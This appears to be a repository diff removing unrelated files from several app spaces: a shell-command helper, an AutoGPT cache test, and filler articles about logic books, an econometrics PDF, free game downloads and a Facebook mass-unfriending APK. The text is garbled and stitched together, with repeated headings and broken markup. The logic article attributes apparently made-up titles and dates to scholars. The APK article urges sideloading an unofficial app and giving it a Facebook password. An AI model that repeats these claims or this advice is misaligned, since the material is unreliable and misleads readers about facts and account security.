Update parquet files (step 89 of 121)

spaces/0x90e/ESRGAN-MANGA/run_cmd.py

@@ -1,9 +0,0 @@
-from subprocess import call
-import sys
-
-def run_cmd(command):
-    try:
-        call(command, shell=True)
-    except KeyboardInterrupt:
-        print("Process interrupted")
-        sys.exit(1)

spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download Logitech Webcam Pro 9000 Software and Enhance Your Video Quality and Experience.md

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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Downloadterjemahankitabmantiq144 Tips dan Trik Menguasai Ilmu Mantiq dengan Mudah.md

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-<h1>Download Terjemahan Kitab Mantiq 144</h1>
-<p>Kitab mantiq or books of logic are among the most important and valuable sources of knowledge for Muslims. They teach us how to think clearly, rationally, and objectively, and how to avoid errors and fallacies in our reasoning. They also help us understand the Quran, the Sunnah, and other Islamic sciences better. In this article, we will explore what kitab mantiq are, who wrote them, how to download terjemahan kitab mantiq 144 (translations of 144 books of logic), and how to use them effectively.</p>
- <h2>What is Kitab Mantiq?</h2>
-<p>Kitab mantiq literally means books of logic or books of reasoning. They are books that deal with the principles, rules, methods, and applications of logic in various fields of knowledge. Logic is the science that studies how to distinguish between valid and invalid arguments, how to construct sound proofs, and how to evaluate evidence and claims.</p>
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-<p>Kitab mantiq have a long and rich history in Islamic civilization. They were first introduced by Muslim scholars who learned logic from Greek sources such as Aristotle, Porphyry, Euclid, and others. They then developed and refined logic according to Islamic principles and objectives. They also integrated logic with other Islamic sciences such as theology, jurisprudence, philosophy, rhetoric, grammar, mathematics, astronomy, medicine, etc.</p>
-<p>Studying kitab mantiq has many benefits for Muslims. It can improve our intellectual abilities, sharpen our critical thinking skills, enhance our communication skills, strengthen our faith, increase our understanding of Islam, and enable us to deal with contemporary challenges and issues.</p>
- <h2>What are the main kitab mantiq and their authors?</h2>
-<p>There are many kitab mantiq that have been written by Muslim scholars throughout history. Some of them are more famous and influential than others. Here are some examples of the main kitab mantiq and their authors:</p>
-<ul>
-<li><strong>Nadzam Sullam al-Munawwarqa</strong> by Abu Zaid Abdurrahman al-Akhdari (d. 1546 CE). This is a concise poem that summarizes the main topics and rules of logic in a simple and easy way. It is one of the most popular kitab mantiq in Indonesia.</li>
-<li><strong>Natijatul Muhtam</strong> by Ashif Abdul Qadir Jailani (d. 2010 CE). This is a commentary on Nadzam Sullam al-Munawwarqa that explains its meanings and provides examples and exercises. It is also widely used in Indonesia.</li>
-<li><strong>Bintang Terang</strong> by Muhammad Al-Amin bin Abdullah bin Yusuf bin Hassan al-Harari al-Kari al-Bouti (d. 1973 CE). This is a comprehensive book that covers all aspects of logic in detail. It is based on classical sources such as al-Farabi, Ibn Sina, al-Ghazali, etc.</li>
-<li><strong>Rahasia Tersembunyi dalam Ilmu Mental</strong> by Jamal al-Din al-Hassan bin Yusuf bin al-Mutahhar al-Hilli (d. 1325 CE). This is a book that reveals the secrets and mysteries of logic in an interesting and engaging way. It discusses topics such as definitions, categories, propositions, syllogisms, induction, analogy, etc.</li>
-<li><strong>Semantik - Ilmu Makna</strong> by Muhammad Ali al-Khouli (d. 1995 CE). This is a book that deals with semantics or the science of meaning. It explains how words convey meanings, how meanings change over time and context, how meanings are related to each other, etc.</li>
-<h2>How to download terjemahan kitab mantiq 144?</h2>
-<p>If you are interested in learning logic from kitab mantiq, you might want to download terjemahan kitab mantiq 144 (translations of 144 books of logic) from various online sources. This way, you can access and read them anytime and anywhere. However, you need to be careful and selective when choosing the sources and formats of the terjemahan kitab mantiq 144. Not all of them are reliable and accurate.</p>
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-<ol>
-<li>First, you need to decide which kitab mantiq you want to download. You can choose based on your level of knowledge, your interest, your preference, or your teacher's recommendation. You can also refer to the list of the main kitab mantiq and their authors that we provided earlier.</li>
-<li>Second, you need to find a trustworthy and reputable online source that provides terjemahan kitab mantiq 144. You can use search engines such as Google or Bing to look for them. You can also ask for suggestions from your friends, teachers, or fellow students who have downloaded terjemahan kitab mantiq 144 before.</li>
-<li>Third, you need to check the quality and accuracy of the terjemahan kitab mantiq 144 that you find. You can do this by comparing them with the original Arabic texts or other reliable translations. You can also read the reviews and ratings of other users who have downloaded them. You should avoid downloading terjemahan kitab mantiq 144 that have errors, mistakes, omissions, distortions, or biases.</li>
-<li>Fourth, you need to choose the format that suits your needs and preferences. There are different formats of terjemahan kitab mantiq 144 that you can download, such as PDF, DOC, EPUB, MOBI, etc. Each format has its own advantages and disadvantages. For example, PDF format is easy to read and print, but it is not editable and searchable. DOC format is editable and searchable, but it may not preserve the original layout and fonts. EPUB and MOBI formats are suitable for e-readers and mobile devices, but they may not support some features such as tables and images.</li>
-<li>Fifth, you need to download the terjemahan kitab mantiq 144 that you have chosen. You can do this by clicking on the download link or button provided by the online source. You may need to register or sign up first before you can download them. You may also need to pay a fee or make a donation if the online source is not free. You should also scan the files for viruses or malware before opening them.</li>
-</ol>
-<p>To help you compare the different sources and formats of terjemahan kitab mantiq 144, we have prepared a table below:</p>
- <table>
-<tr>
-<th>Source</th>
-<th>Format</th>
-<th>Advantages</th>
-<th>Disadvantages</th>
-</tr>
-<tr>
-<td>Islamiques.net</td>
-<td>PDF</td>
-<td>- Provides terjemahan kitab mantiq 144 for free<br>- Covers various topics and levels of logic<br>- Includes links to original Arabic texts</td>
-<td>- Some links may be broken or expired<br>- Some translations may be incomplete or outdated<br>- Some PDF files may be large or corrupted</td>
-</tr>
-<tr>
-<td>Abusyuja.com</td>
-<td>PDF</td>
-<td>- Provides terjemahan kitab mantiq sullam munauruq for free<br>- Explains the meanings and examples of logic in detail<br>- Includes exercises and solutions</td>
-<td>- Only focuses on one kitab mantiq<br>- Some PDF files may be low quality or blurry<br>- Some translations may be inaccurate or unclear</td>
-</tr>
-<tr>
-<td>Terjemah.site</td>
-<td>PDF</td>
-<td>- Provides terjemahan kitab mantiq bintang terang for free<br>- Covers all aspects of logic in depth<br>- Based on classical sources of logic</td>
-<td>- Only focuses on one kitab mantiq<br>- Some PDF files may be hard to read or navigate<br>- Some translations may be complex or difficult</td>
-</tr>
-<tr>
-<td>Zardi.pk</td>
-<td>PDF</td>
-<td>- Provides terjemahan kitab mantiq rahasia tersembunyi dalam ilmu mental for free<br>- Reveals the secrets and mysteries of logic in an interesting way<br>- Includes tables and images</td>
-<td>- Only focuses on one kitab mantiq<br>- Some PDF files may be missing or incomplete<br>- Some translations may be inconsistent or misleading</td>
-</tr>
- <h2>How to use terjemahan kitab mantiq 144 effectively?</h2>
- <p>After downloading terjemahan kitab mantiq 144, you might wonder how to use them effectively for learning and understanding logic. Here are some tips and advice that you can follow:</p>
- <ul>
- <li><strong>Read them carefully and attentively.</strong> You should not just skim or scan through the terjemahan kitab mantiq 144 that you download. You should read them carefully and attentively, paying attention to every word, sentence, paragraph, and section. You should also try to understand the meanings, implications, and applications of what you read.</li>
- <li><strong>Analyze them critically and logically.</strong> You should not just accept or believe everything that you read in the terjemahan kitab mantiq 144 that you download. You should analyze them critically and logically, using your own reason and judgment. You should also compare and contrast them with other sources of logic, such as the Quran, the Sunnah, other Islamic sciences, etc.</li>
- <li><strong>Practice them regularly and consistently.</strong> You should not just read the terjemahan kitab mantiq 144 that you download once or twice. You should practice them regularly and consistently, applying what you learn to various situations and problems. You should also review and revise what you learn periodically, testing yourself with questions and exercises.</li>
- <li><strong>Share them with others and seek feedback.</strong> You should not just keep the terjemahan kitab mantiq 144 that you download to yourself. You should share them with others who are interested in learning logic, such as your friends, teachers, or fellow students. You should also seek feedback from them on your understanding and performance of logic.</li>
- <li><strong>Enjoy them and have fun.</strong> You should not just view the terjemahan kitab mantiq 144 that you download as a burden or a chore. You should enjoy them and have fun with them, appreciating the beauty and wisdom of logic. You should also be curious and creative with logic, exploring new ideas and possibilities.</li>
- <h2>Conclusion</h2>
- <h2>Conclusion</h2>
- <p>In conclusion, kitab mantiq are books of logic that teach us how to think clearly, rationally, and objectively. They have a long and rich history in Islamic civilization, and they have many benefits for Muslims. They also help us understand the Quran, the Sunnah, and other Islamic sciences better. If you want to learn logic from kitab mantiq, you can download terjemahan kitab mantiq 144 (translations of 144 books of logic) from various online sources. However, you need to be careful and selective when choosing the sources and formats of the terjemahan kitab mantiq 144. You also need to use them effectively by reading, analyzing, practicing, sharing, and enjoying them.</p>
- <p>We hope that this article has given you some useful information and guidance on how to download terjemahan kitab mantiq 144. We encourage you to download terjemahan kitab mantiq 144 and start learning logic today. You will not regret it. Logic is a beautiful and powerful tool that can improve your life and your faith.</p>
- <h2>FAQs</h2>
- <p>Here are some frequently asked questions and their answers related to the topic of the article:</p>
- <ol>
-<li><strong>What is the difference between kitab mantiq and ilmu mantiq?</strong><br>
-Kitab mantiq are books of logic that contain the principles, rules, methods, and applications of logic in various fields of knowledge. Ilmu mantiq is the science of logic that studies how to distinguish between valid and invalid arguments, how to construct sound proofs, and how to evaluate evidence and claims.</li>
-<li><strong>Who is the founder of ilmu mantiq in Islam?</strong><br>
-There is no consensus among Muslim scholars on who is the founder of ilmu mantiq in Islam. Some say that it was al-Kindi (d. 873 CE), who was the first Muslim philosopher to write about logic. Others say that it was al-Farabi (d. 950 CE), who was the first Muslim philosopher to systematize logic. Others say that it was Ibn Sina (d. 1037 CE), who was the first Muslim philosopher to develop logic further.</li>
-<li><strong>What are the main types of logic in ilmu mantiq?</strong><br>
-There are two main types of logic in ilmu mantiq: deductive logic and inductive logic. Deductive logic is the type of logic that derives conclusions from premises that are certain or necessary. Inductive logic is the type of logic that derives conclusions from premises that are probable or contingent.</li>
-<li><strong>What are the main sources of terjemahan kitab mantiq 144?</strong><br>
-There are many online sources that provide terjemahan kitab mantiq 144 (translations of 144 books of logic). Some of them are Islamiques.net, Abusyuja.com, Terjemah.site, Zardi.pk, etc. However, not all of them are reliable and accurate. You need to check the quality and accuracy of the terjemahan kitab mantiq 144 before downloading them.</li>
-<li><strong>What are the main challenges or difficulties in learning ilmu mantiq?</strong><br>
-Some of the main challenges or difficulties in learning ilmu mantiq are: understanding the technical terms and concepts of logic, applying logic to different fields and situations, avoiding errors and fallacies in reasoning, finding reliable and accurate sources of terjemahan kitab mantiq 144, etc.</li>
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spaces/1acneusushi/gradio-2dmoleculeeditor/data/Econometric Models And Economic Forecasts Pindyck Pdf Free The Essential Textbook for Students and Practitioners of Econometrics.md

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- <p>In Chapter 4, they extend the analysis to the multiple regression model. They show how to estimate its parameters using matrix algebra or software packages such as Excel or Stata, how to calculate its R-squared and corrected R-squared values, how to test hypotheses about its parameters using F-tests or t-tests with adjusted degrees of freedom, how to deal with multicollinearity (a situation where some explanatory variables are highly correlated with each other), how to calculate standardized coefficients and elasticities (measures of responsiveness), how to perform partial correlation analysis and stepwise regression (methods of selecting relevant explanatory variables).</p>
- <h2>Using the Multiple Regression Model</h2>
- <p>The multiple regression model is very flexible and can be used to analyze various types of economic data and problems. In Chapter 5, Pindyck and Rubinfeld show how to use the multiple regression model in different ways.</p>
- <p>First, they introduce the general linear model (GLM), which is a form of multiple regression that allows for nonlinear transformations of the dependent variable or the explanatory variables. For example, we can use a GLM to estimate a Cobb-Douglas production function (a common functional form for modeling output as a function of inputs) or a logit model (a common functional form for modeling binary outcomes such as success or failure).</p>
- <p>Second, they explain how to use dummy variables (also called indicator variables or binary variables) in multiple regression. Dummy variables are variables that take only two values: 0 or 1. They are used to represent qualitative factors or categories that affect the dependent variable. For example, we can use dummy variables to capture seasonal effects (such as winter or summer), regional effects (such as north or south), policy effects (such as before or after a tax reform), or group effects (such as male or female).</p>
- <p>Third, they discuss how to use piecewise linear regression in multiple regression. Piecewise linear regression is a method of modeling nonlinear relationships by dividing the range of an explanatory variable into segments or intervals, and fitting a different linear equation for each segment or interval. For example, we can use piecewise linear regression to model income-tax schedules (which have different marginal tax rates for different income brackets) or demand curves (which may have different slopes for different price ranges).</p>
- <p>Fourth, they describe how to use the multiple regression model with stochastic explanatory variables. Stochastic explanatory variables are variables that are not fixed or predetermined but have their own probability distributions. For example, we can use stochastic explanatory variables to model uncertainty or risk in economic decisions (such as investment or consumption) or random shocks in economic systems (such as supply shocks or demand shocks).</p>
- <h2>Serial Correlation and Heteroscedasticity</h2>
- <p>The standard assumptions of the multiple regression model include that the error term (the difference between the actual value and the predicted value of the dependent variable) has zero mean, constant variance (homoscedasticity), no serial correlation (independence), and no correlation with any explanatory variable. However, these assumptions may not always hold in practice. In Chapter 6, Pindyck and Rubinfeld examine two common violations of these assumptions: heteroscedasticity and serial correlation.</p>
- <p>Heteroscedasticity occurs when the error term has a different variance for different values of an explanatory variable or the dependent variable. For example, the error term may have a larger variance for higher-income households than for lower-income households, or for larger firms than for smaller firms. Heteroscedasticity can cause the standard errors of the least-squares estimators to be biased, leading to unreliable hypothesis tests and confidence intervals.</p>
- <p>Serial correlation occurs when the error term is correlated with itself over time or across observations. For example, the error term may have positive serial correlation if it tends to have the same sign or magnitude in successive periods, or negative serial correlation if it tends to have opposite signs or magnitudes in successive periods. Serial correlation can also cause the standard errors of the least-squares estimators to be biased, leading to unreliable hypothesis tests and confidence intervals.</p>
- <p>Pindyck  and Rubinfeld show  how  to detect  and correct  for heteroscedasticity  and serial correlation  using various methods, <h2>Serial Correlation and Heteroscedasticity (continued)</h2>
- <p>Pindyck and Rubinfeld show how to detect and correct for heteroscedasticity and serial correlation using various methods, such as graphical analysis, Breusch-Pagan test, White test, Durbin-Watson test, Cochrane-Orcutt procedure, Hildreth-Lu procedure, and generalized least-squares estimation. They also explain the implications of heteroscedasticity and serial correlation for forecasting and model selection.</p>
- <h2>Instrumental Variables and Model Specification</h2>
- <p>Another important issue in econometrics is model specification, which refers to the choice of the functional form, the explanatory variables, and the error term for the regression model. A good model specification should reflect the underlying economic theory and data characteristics, and avoid potential problems such as omitted variables bias, measurement error, endogeneity, multicollinearity, and nonlinearity. In Chapter 7, Pindyck and Rubinfeld discuss some of these problems and how to deal with them using instrumental variables and model specification tests.</p>
- <p>Instrumental variables are variables that are correlated with the explanatory variables but not with the error term. They can be used to address two common sources of bias in regression analysis: correlation between an explanatory variable and the error term (endogeneity), and errors in variables (measurement error). For example, we can use instrumental variables to estimate the effect of education on earnings when education is endogenous (affected by unobserved factors such as ability or motivation) or measured with error (due to reporting errors or rounding). Pindyck and Rubinfeld explain how to use instrumental variables in single-equation and simultaneous-equation models, how to test for their validity and relevance, and how to compare their results with ordinary least-squares estimates.</p>
- <p>Model specification tests are statistical tests that can help check whether a regression model is correctly specified or not. They can help detect problems such as omitted variables, incorrect functional form, heteroscedasticity, serial correlation, or non-normality of the error term. For example, we can use model specification tests to determine whether we should include a quadratic term or a logarithmic term in a regression model, or whether we should use a linear probability model or a logit model for a binary dependent variable. Pindyck and Rubinfeld describe some of the most common model specification tests, such as RESET test, Ramsey test, Lagrange multiplier test, Wald test, Likelihood ratio test, and Jarque-Bera test.</p>
- <p>They also discuss some methods of regression diagnostics, such as residual analysis, influence analysis, and multicollinearity diagnostics, that can help identify outliers, influential observations, or collinear variables that may affect the regression results.</p>
- <h2>Forecasting with a Single-Equation Regression Model</h2>
- <p>One of the main applications of econometrics is forecasting, which is the process of predicting future values of economic variables based on past data and a regression model. Forecasting can be useful for planning, decision making, policy evaluation, and scenario analysis in various fields of economics and business.</p>
- <p>In Chapter 8, Pindyck and Rubinfeld focus on forecasting with a single-equation regression model. They distinguish between two types of forecasting: unconditional forecasting and conditional forecasting. Unconditional forecasting is when we predict the future value of the dependent variable without specifying any values for the explanatory variables. Conditional forecasting is when we predict the future value of the dependent variable given some values for the explanatory variables.</p>
- <p>They also explain how to calculate the standard errors and confidence intervals for the forecasts, how to evaluate the accuracy and reliability of the forecasts, how to deal with serially correlated errors in forecasting, and how to perform dynamic forecasting (using lagged values of the dependent variable as explanatory variables).</p>
- <h2>Conclusion</h2>
- <p>In this article, we have reviewed some of the main topics covered in <strong>Econometric Models and Economic Forecasts</strong>
-by Robert S. Pindyck and Daniel L. Rubinfeld. This book is a comprehensive and rigorous introduction to the theory and practice of econometrics, with an emphasis on applied problems and real-world data. It covers topics such as regression analysis, multiple regression models, heteroscedasticity, serial correlation, instrumental variables, model specification tests, and forecasting. It also provides many examples, exercises, data sets, and computer programs to help readers learn and apply econometrics.</p>
- <p>If you are interested in learning more about econometrics or improving your econometric skills, you can download a free PDF version of this book online from various sources. However, we recommend that you purchase a hard copy or an e-book version from a reputable publisher or seller, as they may offer better quality and support.</p>
- <h2>FAQs</h2>
- <ul>
-<li><strong>What is econometrics?</strong></li>
-<li>Econometrics is the application of statistical methods to economic data and problems.</li>
-<li><strong>What is regression analysis?</strong></li>
-<li>Regression analysis is a method of estimating the relationship between one or more explanatory variables and a dependent variable.</li>
-<li><strong>What is heteroscedasticity?</strong></li>
-<li>Heteroscedasticity occurs when the error term has a different variance for different values of an explanatory variable or the dependent variable.</li>
-<li><strong>What are instrumental variables?</strong></li>
-<li>Instrumental variables are variables that are correlated with the explanatory variables but not with the error term.</li>
-<li><strong>What is forecasting?</strong></li>
-<li>Forecasting is the process of predicting future values of economic variables based on past data and a regression model.</li>
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-import random
-import string
-import sys
-import unittest
-from pathlib import Path
-
-from autogpt.config import Config
-from autogpt.memory.local import LocalCache
-
-
-class TestLocalCache(unittest.TestCase):
-    def random_string(self, length):
-        return "".join(random.choice(string.ascii_letters) for _ in range(length))
-
-    def setUp(self):
-        cfg = cfg = Config()
-        self.cache = LocalCache(cfg)
-        self.cache.clear()
-
-        # Add example texts to the cache
-        self.example_texts = [
-            "The quick brown fox jumps over the lazy dog",
-            "I love machine learning and natural language processing",
-            "The cake is a lie, but the pie is always true",
-            "ChatGPT is an advanced AI model for conversation",
-        ]
-
-        for text in self.example_texts:
-            self.cache.add(text)
-
-        # Add some random strings to test noise
-        for _ in range(5):
-            self.cache.add(self.random_string(10))
-
-    def test_get_relevant(self):
-        query = "I'm interested in artificial intelligence and NLP"
-        k = 3
-        relevant_texts = self.cache.get_relevant(query, k)
-
-        print(f"Top {k} relevant texts for the query '{query}':")
-        for i, text in enumerate(relevant_texts, start=1):
-            print(f"{i}. {text}")
-
-        self.assertEqual(len(relevant_texts), k)
-        self.assertIn(self.example_texts[1], relevant_texts)
-
-
-if __name__ == "__main__":
-    unittest.main()

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-<p>Now.gg is a cloud gaming platform that lets you play any Android game online in your browser without downloading anything. You can play Bloons TD 6 for free on now.gg by following these steps:</p>
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-<li>Go to <a href="">https://now.gg/play/bloons-td-6</a> on your browser.</li>
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-<li>Click on the "Play" button and wait for the game to load.</li>
-<li>Enjoy playing Bloons TD 6 online for free without viruses.</li>
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- <h4>Download and play Bloons TD 6 on PC or Mac with BlueStacks</h4>
-<p>BlueStacks is a trusted and popular Android emulator that lets you run Android apps and games on your PC or Mac. You can download and play Bloons TD 6 for free on BlueStacks by following these steps:</p>
-<ol>
-<li>Go to <a href="">https://www.bluestacks.com/apps/strategy/bloons-td-6-on-pc.html</a> on your browser.</li>
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-<li>Launch BlueStacks and sign in with your Google account.</li <li>Search for Bloons TD 6 on the BlueStacks app store and click on the "Install" button.</li>
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-<p>Bloons TD 6 is a fun and addictive tower defense game that you can play online or offline. However, if you don't want to pay for the game, you might be looking for ways to download it for free without viruses. In this article, we showed you what Bloons TD 6 is, why you should download it for free, and how to do it safely and easily. We hope you found this article helpful and informative. Now, go ahead and enjoy popping some Bloons!</p>
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-<h3>Is Bloons TD 6 safe to download?</h3>
-<p>Bloons TD 6 is safe to download if you get it from official sources, such as Google Play, Steam, now.gg, or BlueStacks. However, if you download it from unofficial sources, such as websites or platforms that offer cracked or modded versions of the game, you might risk getting viruses or malware on your device.</p>
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-<p>Bloons TD 6 is compatible with most Android devices that have Android 5.0 or higher and at least 2 GB of RAM. It is also compatible with most Windows and Mac devices that have BlueStacks installed. However, some devices might experience performance issues or crashes due to hardware limitations or software conflicts.</p>
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-<h1>Brawl Stars Apk Yükle: Mobilde Eğlenceli Savaşlar</h1>
-<p>Brawl Stars, Clash of Clans ve Clash Royale'in yapımcısı Supercell'in en yeni oyunu. Mobilde hızlı ve çılgın 3v3 çok oyunculu savaşlar ve battle royale modu sunan bu oyunda arkadaşlarınızla veya tek başınıza çeşitli oyun modlarında mücadele edebilirsiniz. Güçlü Süper yetenekleri, Yıldız Güçleri ve Aletleri olan çok sayıda Karakterin kilidini açabilir ve geliştirebilirsiniz. Eşsiz kostümler toplayarak fark yaratabilir ve gösteriş yapabilirsiniz. Brawl Evreni'ndeki gizemli yerlerde savaşabilirsiniz!</p>
-<h2>Brawl Stars Nedir?</h2>
-<p>Brawl Stars, bir MOBA ve hızlı aksiyon kahraman nişancısı karışımı bir oyun. Oyunda 22'den fazla farklı Karakter var ve her biri farklı yeteneklere ve sınıflara sahip. Bazı Karakterler tank, bazıları destek, bazıları hasar verici, bazıları da suikastçi rolünde. Her Karakterin kendine özgü bir saldırısı ve Süper yeteneği var. Ayrıca her Karakter için iki adet Yıldız Gücü ve üç adet Alet seçeneği bulunuyor. Bu özellikler Karakterlerin performansını artırıyor ve farklı stratejiler geliştirmenizi sağlıyor.</p>
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-<h3>Brawl Stars Oyun Özellikleri</h3>
-<h4>Çeşitli Karakterler</h4>
-<p>Oyunda şu anda 68 Karakter bulunuyor. Bunlardan bazıları ortak, bazıları nadir, bazıları destansı, bazıları efsanevi ve bazıları da kromatik nadirlikte. Her Karakterin kendine has bir kişiliği, görünümü, sesi ve animasyonu var. Karakterlerin kilidini açmak için Oyun Kutularını açabilir veya Mağazadan gerçek para ile satın alabilirsiniz. Ayrıca her Karakter için farklı kostümler de toplayabilirsiniz. Kostümler sadece görünümü değiştirir, oyun içi avantaj sağlamaz. Kostümleri Oyun Kutularından, Mağazadan veya özel etkinliklerden elde edebilirsiniz.</p>
-<h4>Farklı Oyun Modları</h4>
-<p>Brawl Stars'ta birçok farklı oyun modu var. Bunlardan bazıları şunlar:</p>
-<ul>
-<li>Görev. Bu modda iki takım, ortadaki bir kasayı ele geçirmeye çalışır. Kasa, takımların puanlarını gösterir. Kasa, bir takımın saldırısına maruz kaldığında puan kaybeder. Puanı sıfıra düşen takım kaybeder.</li>
-<li>Elmas Kapmaca. Bu modda iki takım, ortadaki bir madenden çıkan elmasları toplamaya çalışır. Elmas toplayan takımın puanı artar. Bir takım 10 elmas topladığında geri sayım başlar. Geri sayım bitmeden elmasları koruyan takım kazanır.</li>
-<li>Brawl Topu. Bu modda iki takım, ortadaki bir topu alıp rakip kaleye atmaya çalışır. Topu atan takım bir puan alır. İki puan alan takım kazanır.</li>
-<li>Savaş Alanı. Bu modda 10 oyuncu, son kalan olmak için savaşır. Oyuncular, haritada bulunan güç kürelerini toplayarak güçlenirler. Harita, zaman geçtikçe daralır ve oyuncuları birbirine yaklaştırır.</li>
-<li>Çete Savaşı. Bu modda iki takım, rakip çetenin liderini öldürmeye çalışır. Lider öldüğünde oyun biter.</li>
-</ul>
-<h4>Sürekli Gelişen İçerik</h4>
-<p>Brawl Stars, sürekli olarak yeni Karakterler, kostümler, haritalar, oyun modları ve güncellemeler ekleyen bir oyun. Oyunda ayrıca sezonluk etkinlikler, turnuvalar, görevler ve ödüller de bulunuyor. Oyuncular, Brawl Pass adlı bir abonelik sistemi ile daha fazla ödül kazanabilirler. Brawl Pass her sezon yenilenir ve yeni Karakterler, kostümler ve diğer ögeler içerir.</p>
-<h2>Brawl Stars Apk Nasıl Yüklenir?</h2>
-<p>Brawl Stars'ı Android cihazınıza yüklemenin iki yolu var: Google Play Store'dan yükleme veya apk dosyası indirme. Her iki yöntemin de avantajları ve dezavantajları var.</p>
-<h3>Google Play Store'dan Yükleme</h3>
-<p>Bu yöntem en kolay ve güvenli olanıdır. Google Play Store'dan Brawl Stars'ı aratın ve yükleyin. Oyunun son sürümünü otomatik olarak alacaksınız ve güncellemeleri de kolayca yapabileceksiniz.</p>
-<h3>Apk Dosyası İndirme</h3>
-<p>Bu yöntem daha zahmetli ve riskli olabilir, ancak bazı durumlarda tercih edilebilir. Örneğin, Google Play Store'da Brawl Stars'ın bulunmadığı veya uyumlu olmadığı ülkelerde veya cihazlarda bu yöntemi kullanabilirsiniz. Ayrıca bazı modifiye edilmiş apk dosyaları ile oyunun farklı sürümlerini veya özelliklerini deneyebilirsiniz.</p>
-<h4>Güvenilir Kaynaklardan İndirin</h4>
-<p>Apk dosyasını indirmeden önce kaynağının güvenilir olduğundan emin olun. Bazı apk dosyaları virüs veya zararlı yazılım içere uyumlu olmayabilir. Bu durumda apk dosyasını indirerek oyunu yükleyebilirsiniz. | | Q: Brawl Stars'ı iOS cihazıma nasıl yükleyebilirim? | | A: Brawl Stars'ı iOS cihazınıza App Store'dan yükleyebilirsiniz. Oyunun resmi sitesindeki  bağlantıyı takip edebilir veya App Store'da Brawl Stars'ı arayabilirsiniz. | | Q: Brawl Stars ücretsiz mi? | | A: Brawl Stars ücretsiz bir oyundur. Oyunu indirmek ve oynamak için herhangi bir ücret ödemeniz gerekmez. Ancak oyun içinde gerçek para ile satın alabileceğiniz bazı ögeler vardır. Bunlar oyun dengelemesini etkilemez, sadece kozmetik veya ilerlemeyi hızlandırır. | | Q: Brawl Stars'ın yaş sınırı nedir? | | A: Brawl Stars, 7 yaş ve üzeri için uygundur. Oyun, şiddet içermeyen ve çizgi film tarzında bir grafik sunar. Oyun, aile paylaşımı özelliğini destekler ve ebeveyn denetimi ayarları vardır. | | Q: Brawl Stars'ı bilgisayarımda oynayabilir miyim? | | A: Brawl Stars, resmi olarak sadece mobil platformlarda mevcuttur. Ancak bir Android emülatörü kullanarak bilgisayarınızda da oynayabilirsiniz. Emülatörler, Android uygulamalarını bilgisayarınızda çalıştırmanızı sağlayan programlardır. Bazı popüler emülatörler şunlardır: BlueStacks , NoxPlayer , MEmu . Emülatör kurduktan sonra, Google Play Store'dan veya apk dosyasından Brawl Stars'ı yükleyebilirsiniz.</p>
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spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Download All Friends Remover APK and Get Rid of Unwanted Facebook Friends.md

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-<h1>All Friends Remover for Facebook APK: How to Unfriend All Your Facebook Friends in Two Clicks</h1>
-<p>Have you ever wanted to unfriend all your Facebook friends in one go? Maybe you are tired of seeing their posts, or you want to start fresh with a new account, or you just want to declutter your social media. Whatever the reason, unfriending hundreds or thousands of people manually can be a tedious and time-consuming task. Fortunately, there is a simple solution: All Friends Remover for Facebook APK.</p>
-<h2>Introduction</h2>
-<p>All Friends Remover for Facebook APK is an Android app that allows you to remove all your Facebook friends in just two clicks. It is not developed or associated with Facebook, but it uses your login credentials to access your friends list and perform the unfriending action. The app is fast, easy to use, and reliable. It can help you save time and effort, as well as improve your privacy and security on Facebook.</p>
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-<h2>How to Download and Install All Friends Remover for Facebook APK</h2>
-<p>Since All Friends Remover for Facebook APK is not available on the Google Play Store, you will need to download it from a third-party source. One of the websites that offer the APK file is [APKCombo](^1^). Here are the steps to download and install the app:</p>
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-<li>Go to [APKCombo](^1^) and search for "Friend Remover for Facebook".</li>
-<li>Select the app with the icon of a gorilla's head and click on "Download APK".</li>
-<li>Save the file on your device and locate it using a file manager app.</li>
-<li>Tap on the file and allow installation from unknown sources if prompted.</li>
-<li>Follow the instructions on the screen and wait for the installation to complete.</li>
-</ol>
-<p>Once the app is installed, you will need to grant it some permissions to access your Facebook account. These include:</p>
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-<li>Read your contacts</li>
-<li>Access information about networks</li>
-<li>Access information about Wi-Fi networks</li>
-<li>Open network sockets</li>
-<li>Write to external storage</li>
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-<p>These permissions are necessary for the app to function properly. However, you should be careful when granting permissions to any third-party app, as they may pose some security risks. You should also review your Facebook privacy settings and revoke any unwanted access from apps or websites.</p>
-<h2>How to Use All Friends Remover for Facebook APK</h2>
-<p>Using All Friends Remover for Facebook APK is very simple. Here are the steps:</p>
-<ol>
-<li>Launch the app and log in with your Facebook email and password.</li>
-<li>The app will show you a list of all your friends. You can scroll down to see more.</li>
-<li>If you want to unfriend all your friends, tap on the "Select All" button at the top. If you want to unfriend some of your friends, tap on the checkboxes next to their names.</li>
-<li>Once you have selected the friends you want to unfriend, tap on the "Unfriend" button at the bottom.</li>
-<li>The app will ask you to confirm your action. Tap on "Yes" to proceed.</li>
-<li>The app will start unfriending your selected friends. You can see the progress on the screen. Depending on the number of friends you have, this may take a few seconds or minutes.</li>
-<li>When the app is done, it will show you a message saying "All Friends Removed Successfully". Tap on "OK" to exit.</li>
-</ol>
-<p>You can now check your Facebook account and see that your friends list is empty. You can also verify that the app has unfriended your friends by visiting their profiles and seeing that you are no longer connected. If you change your mind and want to add some of your friends back, you will need to send them a friend request again.</p>
-<h2>Pros and Cons of All Friends Remover for Facebook APK</h2>
-<p>All Friends Remover for Facebook APK is a handy app for anyone who wants to unfriend all their Facebook friends in a quick and easy way. However, like any other app, it has its pros and cons. Here are some of them:</p>
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-<h3>Pros</h3>
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-<li>It saves you time and effort. You don't have to unfriend each friend individually, which can be very tedious and time-consuming.</li>
-<li>It improves your privacy and security. You can reduce the amount of personal information that you share with your Facebook friends, who may not be trustworthy or respectful of your privacy. You can also avoid unwanted messages, notifications, or requests from your Facebook friends.</li>
-<li>It declutters your social media. You can get rid of the people who don't add value to your life, who annoy you with their posts, or who you don't care about anymore. You can focus on the people who matter to you, or start fresh with a new account.</li>
-</ul>
-<h3>Cons</h3>
-<ul>
-<li>It may cause some problems or misunderstandings. Some of your friends may not understand why you unfriended them, and may feel hurt or offended. They may think that you are angry with them, or that you don't like them anymore. They may also try to contact you or confront you about it.</li>
-<li>It may affect your online reputation or relationships. Some of your friends may be important for your personal or professional life, and unfriending them may damage your reputation or relationships. For example, if you unfriend your boss, your co-workers, or your clients, they may think that you are unprofessional or disrespectful.</li>
